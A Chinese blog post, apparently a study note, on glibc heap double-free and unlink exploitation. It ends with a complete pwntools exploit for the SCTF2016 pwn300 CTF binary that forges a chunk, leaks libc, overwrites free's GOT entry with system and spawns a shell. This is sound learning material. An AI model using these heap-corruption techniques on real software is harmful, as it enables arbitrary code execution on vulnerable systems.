堆溢出学习之doublefree
来源:互联网 发布:美萍进销存软件客服 编辑:程序博客网 时间:2024/06/06 00:55
最近一段时间重新整理了一下doublefree的资料,在原来的unlink的基础上更进了一步,算是把doublefree完全弄懂了
0x01 chunk结构
首先是chunk的结构
struct malloc_chunk{ INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize;};
在chunk被分配的时候prev_size只有在前一个chunk的状态是free的时候才会被使用,用来说明前一个chunk的大小,size是指当前chunk的大小,如果前一块还在被使用,这4个字节会被前一块chunk共享,也就是说前一块chunk多了4字节。同时也是通过这两个size来识别该chunk是出于use状态还是状态,当时该chunk是出于use状态时需要在原来size的基础上加一。
比如
一个128(0x80)大小的块,它的前一块chunk是已分配
—————————–
0x00000080 | 0x1 = 0x00000081
一个128(0x80)大小的块,它的前一块chunk是未分配
—————————–
0x00000080 | 0x0 = 0x00000080
而后面的四个指针,很明显是用来组成一个双链表
由此可以知,通过将自身chunk的地址+size就能得到下一个chunk的地址,然后检查它的头部最低位就能得到自己的状态
0x02 unlink
#define unlink(P, BK, FD) { FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD; }
这是很久之前的unlink代码,当free一个chunk的时候,系统同时会检查该chunk的前一个和后一个chunk是不是free状态的,如果是就会将两个chunk合并成一个更大的free状态的chunk,然后这个更大的chunk会被unlink,并加入到unsorted_bin当中
如今该unlink的代码已经不再使用,在unlink的同时加上了一个判断
void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD){ FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr(check_action,"corrupted double-linked list",P); else { FD->bk = BK; BK->fd = FD; }}
关键代码FD->bk != P || BK->fd != P
在脱链表时会检查当前chunk是否真的在链表内,如果它前驱的后继不是自己或者后继的前驱不是自己,就直接抛错误。
于是
我们就想到了伪造一个chunk,使FD->bk和BK->fd=P,这可以通过unlink检查
如果将unlink代码写的更加直白一点就是
FD = *P + 8;BK = *P + 12;FD + 12 = BK;BK + 8 = FD;
于是我们可以构造
fd = *p - 8bk = *p - 12
0x03 实例
去做了0xmuhe师傅博客上的题目还有sctf2016的pwn300,都是doublefree的题目,两道题没有啥区别,本质上就是伪造一个chunk
payload = prev_size + size + *p - 8 + *p -12 + data + prev_size + size
在成功unlink以后将*p的指针指向free_got,在将其覆盖为system的地址就可以getshell了
附上sctf2016 pwn300的exp
#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *#context(log_level="debug")free_got = 0x08049d18 chunk_addr = 0x08049D80p = process("./pwn300")def launch_gdb(): context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0])def add_chunk(index): p.sendline('1') p.recvuntil('How many flowers you want :') p.sendline(str(index))def set_chunk(index,data): p.sendline('3') p.recvuntil("Input the order's num:") p.sendline(str(index)) p.recvuntil('Order content:') p.sendline(data)def print_chunk(index): p.sendline('2') p.recvuntil("Input the order's num:") p.sendline(str(index)) return p.recvline()def delete_chunk(index): p.sendline('4') p.recvuntil("Input the order's num:") p.sendline(str(index)) def leak(addr): data = 'a'*12 + p32(chunk_addr-12) + p32(addr) set_chunk(0,data) data = print_chunk(1)[0:4] print ("leaking "+hex(addr)+" --> " + data.encode('hex')) return dataadd_chunk(128)add_chunk(128)add_chunk(128)add_chunk(128)set_chunk(3,'/bin/sh')launch_gdb()payload = ''payload += p32(0)+p32(0x89) + p32(chunk_addr-0xc) +p32(chunk_addr-0x8)+'a'*(0x80-4*4) + p32(0x80) +p32(0x88)set_chunk(0,payload) delete_chunk(1)pwn_elf = ELF("./pwn300")d = DynELF(leak,elf=pwn_elf)system_addr = d.lookup('system','libc')print hex(system_addr)set_chunk(0,'a'*12+p32(chunk_addr-0xc)+p32(free_got))set_chunk(1,p32(system_addr))delete_chunk(3)p.interactive()
这两道题和exp已经放在我的github上了
0x04 后记
在学习的过程中参考了相当多的资料,堆溢出学习的路还很远,慢慢来吧
参考资料:
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/
https://etenal.me/archives/1121
http://www.cnblogs.com/0xmuhe/p/5190132.html
http://wooyun.jozxing.cc/static/drops/tips-16610.html
- 堆溢出学习之doublefree
- linux堆溢出学习之unsafe unlink
- 堆溢出学习之fastbin attack
- linux 堆溢出学习之malloc堆管理机制原理详解
- 堆溢出学习笔记
- 堆溢出学习
- Hadoop学习笔记九之Java heap space(堆溢出)
- linux 堆溢出学习之house of spirit(2)
- shellcode之五:堆溢出
- shellcode之五:堆溢出
- linux 堆溢出学习之house of spirit(1) malloc maleficarum hos翻译
- jvm内存管理之java堆溢出
- Linux堆溢出漏洞利用之unlink
- Linux 堆溢出之fastbin实例
- 《0Day安全》之堆溢出
- CTF之堆溢出-unlink原理探究
- Linux堆溢出之Fastbin Attack
- 堆溢出
- 第一次用CDDN-Markdown编辑器
- C#语句结构
- 利用LDA分析《天龙八部》中每十回的话题演变情况
- dumpsys命令的实践
- Android 获取指定文件目录下的图片
- 堆溢出学习之doublefree
- libevent+多线程的服务器模型
- 时间管理
- android 开发 常用 adb 命令
- 在 Linux 上搭建 Hubot 聊天机器人服务器
- 三、JMX官方指导文档 之 通知
- (回溯法)LeetCode#77. Combinations
- MongoDB之GridFS
- 控制Gallery 速度